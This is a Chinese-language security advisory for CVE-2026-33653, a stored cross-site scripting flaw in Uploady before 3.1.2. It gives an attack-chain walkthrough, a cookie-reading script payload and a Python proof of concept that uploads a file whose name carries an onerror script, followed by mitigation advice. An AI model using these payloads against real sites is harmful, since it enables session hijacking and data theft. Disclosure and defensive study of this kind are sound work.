IPBUF安全漏洞报告
English
CVE-2026-33653 CVSS 4.6 中危

CVE-2026-33653 Uploady存储型XSS漏洞

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2026-33653
漏洞类型
存储型跨站脚本 (Stored XSS)
CVSS评分
4.6 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Uploady

相关标签

XSSStored XSSUploady文件上传CWE-79

漏洞概述

Uploady是一个支持多文件上传的脚本。在3.1.2版本之前,由于对上传文件名的过滤不当,存在存储型XSS漏洞。攻击者可以通过上传包含恶意JavaScript代码的文件名,当管理员或其他用户查看文件列表时,恶意脚本将在浏览器中执行。该漏洞可能导致用户会话劫持或敏感信息泄露。建议用户尽快升级到3.1.2及以上版本以修复此问题。

技术细节

该漏洞源于Uploady在处理文件上传请求时,未对文件名进行充分的HTML实体编码或过滤。攻击者可以构造一个特殊的HTTP POST请求上传文件,将文件名字段设置为包含XSS Payload(如<script>alert(1)</script>)的字符串。服务器端接收文件后,将其存储在磁盘上,并将原始文件名直接写入数据库或前端渲染模板中。当其他用户访问包含文件列表的页面时,后端会查询文件信息并将未经过滤的文件名返回给前端浏览器。浏览器解析HTML时,会将文件名中的脚本代码当作可执行HTML元素处理,从而触发XSS攻击。由于是存储型漏洞,恶意脚本会持久化在服务器端,影响所有访问该页面的用户。

攻击链分析

STEP 1
1. 侦察
攻击者识别出目标网站正在使用存在漏洞的Uploady版本(< 3.1.2)。
STEP 2
2. 武器化
攻击者准备一个包含恶意JavaScript代码的文件名,例如`<script>alert(document.cookie)</script>`。
STEP 3
3. 投递
攻击者向Uploady的上传接口发送POST请求,上传文件名中包含恶意Payload的文件。
STEP 4
4. 利用
由于服务器未对文件名进行转义,恶意文件名被存储在服务器上。当管理员或普通用户访问文件列表页面时,服务器返回包含恶意文件名的HTML页面。
STEP 5
5. 执行
受害者的浏览器解析该HTML页面,执行文件名中的恶意JavaScript代码,从而窃取Cookie或执行其他恶意操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit_uploady_xss(target_url): """ PoC for CVE-2026-33653 (Stored XSS in Uploady) This script uploads a file with a malicious filename to trigger XSS. """ upload_endpoint = f"{target_url}/upload" # Adjust endpoint based on actual install # Construct a malicious filename containing JavaScript # Using <img> tag often bypasses simple filters and is effective for PoC malicious_filename = "<img src=x onerror=alert('XSS')>.png" # Create a dummy file content files = { 'file': (malicious_filename, b'dummy content', 'image/png') } try: response = requests.post(upload_endpoint, files=files) if response.status_code == 200: print(f"[+] File uploaded successfully. Visit the file list page at {target_url} to verify XSS.") else: print(f"[-] Upload failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost:8080" exploit_uploady_xss(target)

影响范围

Uploady < 3.1.2

防御指南

临时缓解措施
在无法立即升级的情况下,应在服务器端的文件处理逻辑中添加过滤层,强制重命名上传的文件(例如使用UUID或时间戳),或者在显示文件名时强制进行HTML实体编码,确保浏览器将其作为纯文本显示而非HTML代码执行。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表